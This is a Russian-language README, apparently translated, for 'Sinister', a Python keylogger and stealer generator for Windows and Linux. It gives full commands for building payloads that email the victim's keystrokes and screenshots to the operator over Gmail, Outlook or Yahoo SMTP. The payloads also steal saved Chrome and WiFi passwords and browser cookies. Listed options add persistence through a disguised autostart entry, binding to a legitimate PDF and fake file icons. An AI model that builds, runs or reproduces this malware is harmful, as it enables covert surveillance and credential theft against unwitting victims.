
Sinister — это генератор кейлоггеров для Windows/Linux, который отправляет записанные нажатия клавиш по электронной почте вместе с другой ценной информацией о цели.
Этот небольшой скрипт на Python может творить действительно потрясающие вещи.
Sinister — это генератор кейлоггеров для Windows/Linux, который отправляет нажатия клавиш и скриншоты по электронной почте, а также другую ценную информацию о цели, написанный на Python 3.
:computer: Этот проект создан исключительно в благих целях и для личного использования.
ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ» БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ. ВЫ ИСПОЛЬЗУЕТЕ ЭТО ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ НА СВОЙ СОБСТВЕННЫЙ РИСК. ИСПОЛЬЗОВАНИЕ ЯВЛЯЕТСЯ ПОЛНОЙ ОТВЕТСТВЕННОСТЬЮ КОНЕЧНОГО ПОЛЬЗОВАТЕЛЯ. РАЗРАБОТЧИКИ НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ И НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЕ НЕПРАВИЛЬНОЕ ИСПОЛЬЗОВАНИЕ ИЛИ УЩЕРБ, ПРИЧИНЕННЫЙ ДАННОЙ ПРОГРАММОЙ.
| Имя сервера | SMTP-сервер | SMTP-порт |
|---|---|---|
| GMAIL | smtp.gmail.com | 587 |
| OUTLOOK | smtp-mail.outlook.com | 587 |
| YAHOO | smtp.mail.yahoo.com | 587 |
| Встроенный стилер может украсть следующее: |
|---|
| Браузер Chrome (сохранённые пароли) |
| WiFi (сохранённые пароли) |
| Файлы cookie Chrome (данные для входа, куки, история) |
| Файлы cookie Firefox (cookies.sqlite) |
| Собирается и отправляется: |
|---|
| Операционная система |
| Имя компьютера |
| Имя пользователя |
| Публичный IPv4-адрес |
30 мая 2022 года Google удалил функцию «менее безопасных приложений», поэтому вместо пароля Gmail:
# Перейдите в каталог /opt (необязательно)
$ cd /opt/
# Клонируйте этот репозиторий
$ git clone https://github.com/PushpenderIndia/Sinister.git
# Перейдите в папку Sinister
$ cd Sinister
# Установка зависимостей
$ bash installer_linux.sh
*** Примечание: Когда появится диалоговое окно установщика Python при выполнении installer_linux.sh ***
* Нажмите custom install
* Выберите Путь: C:/Python37-32
### Таким образом, Python будет установлен по этому пути (внутри Wine): ~/.wine/drive_c/Python37-32
# Если вы получаете ошибки при выполнении installer_linux.sh, попробуйте установить с помощью installer_linux.py
$ python3 installer_linux.py
$ chmod +x Sinister.py
$ python3 Sinister.py --help
# Создание полезной нагрузки/RAT
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path
# Создание полезной нагрузки с использованием SMTP-сервера GMAIL, конфигурации порта (SMTP-сервер по умолчанию = smtp.gmail.com, SMTP-порт по умолчанию = 587)
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path
# Создание полезной нагрузки с использованием SMTP-сервера OUTLOOK, конфигурации порта
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path
# Создание полезной нагрузки с использованием SMTP-сервера YAHOO, конфигурации порта
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path
Примечание: Вы также можете использовать наши пользовательские иконки из папки icon, просто используйте их так: --icon icon/pdf.ico
# Установка зависимостей
$ Установите последнюю версию python 3.x
# Клонируйте этот репозиторий
$ git clone https://github.com/PushpenderIndia/Sinister.git
# Перейдите в репозиторий
$ cd Sinister
# Установка зависимостей
$ python -m pip install -r requirements.txt
# Откройте Sinister.py в текстовом редакторе и настройте строку 16 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe"
# Получение справки
$ python Sinister.py --help
# Создание полезной нагрузки/RAT
$ python Sinister.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path
# Создание полезной нагрузки с использованием SMTP-сервера GMAIL, конфигурации порта (SMTP-сервер по умолчанию = smtp.gmail.com, SMTP-порт по умолчанию = 587)
$ python Sinister.py -e [email protected] -p YourEmailPass-w -o output_file_name --icon icon_path
# Создание полезной нагрузки с использованием SMTP-сервера OUTLOOK, конфигурации порта
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -w -o output_file_name --icon icon_path
# Создание полезной нагрузки с использованием SMTP-сервера YAHOO, конфигурации порта
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -w -o output_file_name --icon icon_path
Примечание: Вы также можете использовать наши пользовательские иконки из папки icon, просто используйте их так: --icon icon/pdf.ico
















Попробуйте запустить Offline Keylogger, чтобы протестировать захват нажатий клавиш в офлайн-режиме и отладить проблемы с кейлоггером, выполнив эти команды:
Запустите test_key.py в обоих режимах [Скомпилированном и Исходном] и выясните, в чём ошибка
Запустите так: python test_key.py
Также скомпилируйте так:
pyinstaller --onefile test_key.py --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=pynput.keyboard
После запуска начните что-нибудь печатать. Результат будет отображаться в командной строке каждые 10 секунд
Файлы офлайн-кейлоггера находятся в папке TestKeylogger
1. Создайте новую полезную нагрузку с флагом --debug
2. Запустите exe полезной нагрузки через cmd [Не запускайте полезную нагрузку двойным щелчком]
3. Теперь в CMD появится более подходящая ошибка; просто разместите эту проблему в разделе Issue
Откройте файл автозапуска любым текстовым редактором. Путь к файлу автозапуска: ~/.config/autostart/xinput.desktop
Удалите эти 5 строк:
[Desktop Entry]
Type=Application
X-GNOME-Autostart-enabled=true
Name=Xinput
Exec="destination_file_name"
Примечание: destination_file_name — это имя вредоносного файла, которое вы дали своему кейлоггеру с помощью параметра -o
Перезагрузите систему и затем удалите вредоносный файл, хранящийся по следующему пути
Целевой путь, где хранится кейлоггер: ~/.config/xnput
Приветствуются любые виды вклада!
ПРИМЕЧАНИЕ: Если вы должны быть в списке участников, но мы вас забыли, дайте нам знать!
| Сокращение | Полная форма | Описание |
|---|
| -h | --help | показать это справочное сообщение и выйти |
| -i ИНТЕРВАЛ | --interval ИНТЕРВАЛ | Время между отчётами в секундах. по умолч.=120 |
| -t ВРЕМЯ_PERSISTENT | --persistence ВРЕМЯ_PERSISTENT | Стать постоянным через __ секунд. по умолч.=10 |
| -x SMTP_Сервер | --smtp | Пользовательский SMTP-сервер. по умолч.="smtp.gmail.com" |
| -y SMTP_Порт | --port | Пользовательский SMTP-порт. по умолч.=587 |
| -w | --windows | Создать исполняемый файл Windows. |
| -l | --linux | Создать исполняемый файл Linux. |
| -s | --steal-password | Украсть сохранённые пароли с машины жертвы [Поддерживаемая ОС: Windows] |
| -b file.txt | --bind ПУТЬ_К_ЛЕГИТИМНОМУ_ФАЙЛУ.pdf | Автобайндер: укажите путь к легитимному файлу. [Поддерживаемая ОС: Windows] |
| -d | --debug | Полезная нагрузка будет запущена на переднем плане с окном CMD для получения соответствующей ошибки выполнения |
| Сокращение | Полная форма | Описание |
|---|
| --icon ICON | Укажите путь к иконке, иконка вредоносного файла [Примечание: Должна быть .ico] | |
| -e EMAIL | --email EMAIL | Адрес электронной почты для отправки отчётов. |
| -p PASSWORD | --password PASSWORD | Пароль для адреса электронной почты, указанного в аргументе -e. |
| -o OUT | --out OUT | Имя выходного файла. |
![]() Pushpender Singh :computer: |
![]() Thomas Kunwar :computer: |
![]() krasnova19 :computer: |
![]() sarchish5 :computer: |
![]() chiragcode11 :computer: |
![]() C4RR0T02 :computer: |